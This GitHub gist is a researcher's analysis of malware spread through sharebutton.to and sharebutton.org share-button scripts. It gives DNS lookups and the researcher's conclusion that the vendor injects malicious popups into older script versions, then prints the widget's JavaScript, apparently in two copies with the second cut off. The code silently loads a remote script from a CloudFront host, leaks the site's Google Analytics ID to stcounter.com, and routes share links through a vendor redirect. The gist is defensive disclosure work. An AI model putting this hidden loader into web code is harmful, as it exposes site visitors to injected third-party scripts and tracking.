Skip to content

Instantly share code, notes, and snippets.

@joepie91
Created April 26, 2016 16:41
Show Gist options
  • Save joepie91/6c547a0124f3694bdab7eb29fb0738f2 to your computer and use it in GitHub Desktop.
Save joepie91/6c547a0124f3694bdab7eb29fb0738f2 to your computer and use it in GitHub Desktop.
Malware from sharebutton.to / sharebutton.org

Miscellaneous information:

sven@linux-etoq:~/projects/working/sharebutton-to-malware> host sharebutton.to
sharebutton.to has address 64.13.232.232
sharebutton.to mail is handled by 10 mail.sharebutton.to.
sven@linux-etoq:~/projects/working/sharebutton-to-malware> host sharebutton.org
sharebutton.org has address 64.13.232.232
sharebutton.org mail is handled by 10 mail.sharebutton.org.
sven@linux-etoq:~/projects/working/sharebutton-to-malware> host cdn.script.to
cdn.script.to is an alias for d8a8jwmbdf94q.cloudfront.net.
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.92
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.230
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.75
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.176
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.29
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.45
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.116
d8a8jwmbdf94q.cloudfront.net has address 52.85.245.155
sven@linux-etoq:~/projects/working/sharebutton-to-malware> host script.to
script.to has address 64.13.232.232
script.to mail is handled by 10 mail.script.to.
sven@linux-etoq:~/projects/working/sharebutton-to-malware> host sharebutton.net
sharebutton.net has address 217.23.8.124
sven@linux-etoq:~/projects/working/sharebutton-to-malware> host 64.13.232.232
232.232.13.64.in-addr.arpa domain name pointer acmkoiekao.gs02.gridserver.com.
sven@linux-etoq:~/projects/working/sharebutton-to-malware> host 217.23.8.124
124.8.23.217.in-addr.arpa domain name pointer customer.worldstream.nl.

Ownership

It appears that sharebutton.to and sharebutton.org are from the same vendor. The sharebutton.net domain may not be, as it's hosted on a different IP with a slightly different homepage.

File sources

Conclusion

It seems that the owner of sharebutton.to adds the malware injection to the older versions whenever a new version is released. That would make webmasters add the code without being freaked out by the popup(s), only to find popup(s) being added later on when a newer version is released. Reasonably effective way to avoid detection.

The malware linked to is a malicious Chrome extension, which claims to originate from Kaspersky: https://chrome.google.com/webstore/detail/chrome-malware-removal/dhjpofjliplegaobhfofijfnidomhfgl

The sharebutton.net domain and its respective JS appears to be clean, and is probably not from the same vendor.

wget http://cdn.script.to/share{,2,3,4,5,6,7,8,9}.js
sven@linux-etoq:~/projects/working/sharebutton-to-malware> ag cloudfront
share2.js
762: wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
share6.js
762: wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
share4.js
762: wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
share.js
762: wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
share5.js
762: wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
share3.js
762: wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.org';
var HORIZ = sharebutton_is_horizontal;
var LOGOS_VERSION = 4;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
var script = document.createElement('script');
// script.src = '//semalt.com/js/sharebutton.js';
// document.body.appendChild(script);
window.addEventListener('resize', fixPopupSize);
var box = create('div');
prepend(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
if (socMap[i].plus) {
a.href = 'http://sharebutton.org/?utm_source=plus&utm_medium=click&utm_campaign=organic';
a.target = '_blank';
// a.href = 'javascript:;';
// on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('#' + WE + 'PopupWr, #' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('#' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('#' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('#' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 4px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #6a6a6a; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div style="margin-top:22px; margin-bottom:5px; text-align:center;">\
<a href="http://sharebutton.org/?utm_source=popup_logo" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" style="border:none;"></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:430px; max-width:430px; height:auto; padding:8px 4px 8px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 417px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
<div class="shareButtonNetRecBox" style="margin:10px 20px 0 0; padding:0 5px 5px 14px;">\
' + addLinkHtml + '\
</div>\
</div>\
<div id="test" style="margin:0; padding:3px; position:relative; top:10px; text-align:right; color:#313428;">\
<a href="http://sharebutton.org/?utm_source=popup_copyright" id="' + WE + 'CopyrightLink">Add Share Buttons to Your Website for Free</a>\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '445px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '445px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.to/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var openMorePopup = function() {
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
try {
clearStyles();
} catch (ex) {}
var tracking_id = 'no';
if (typeof ga !== 'undefined') {
ga(function(tracker) {
tracking_id = tracker.get('trackingId');
});
}
(new Image).src = '//stcounter.com/tds_pixel.php?ga_ua=' + tracking_id;
(function() {
var wc = document.createElement('script'); wc.type = 'text/javascript'; wc.async = true;
wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
})();
if (Math.random() < 0.01) {
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-62910740-1', 'auto');
ga('send', 'pageview');
}
})();
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.org';
var HORIZ = sharebutton_is_horizontal;
var LOGOS_VERSION = 4;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
var script = document.createElement('script');
// script.src = '//semalt.com/js/sharebutton.js';
// document.body.appendChild(script);
window.addEventListener('resize', fixPopupSize);
var box = create('div');
prepend(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
if (socMap[i].plus) {
a.href = 'http://sharebutton.org/?utm_source=plus&utm_medium=click&utm_campaign=organic';
a.target = '_blank';
// a.href = 'javascript:;';
// on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
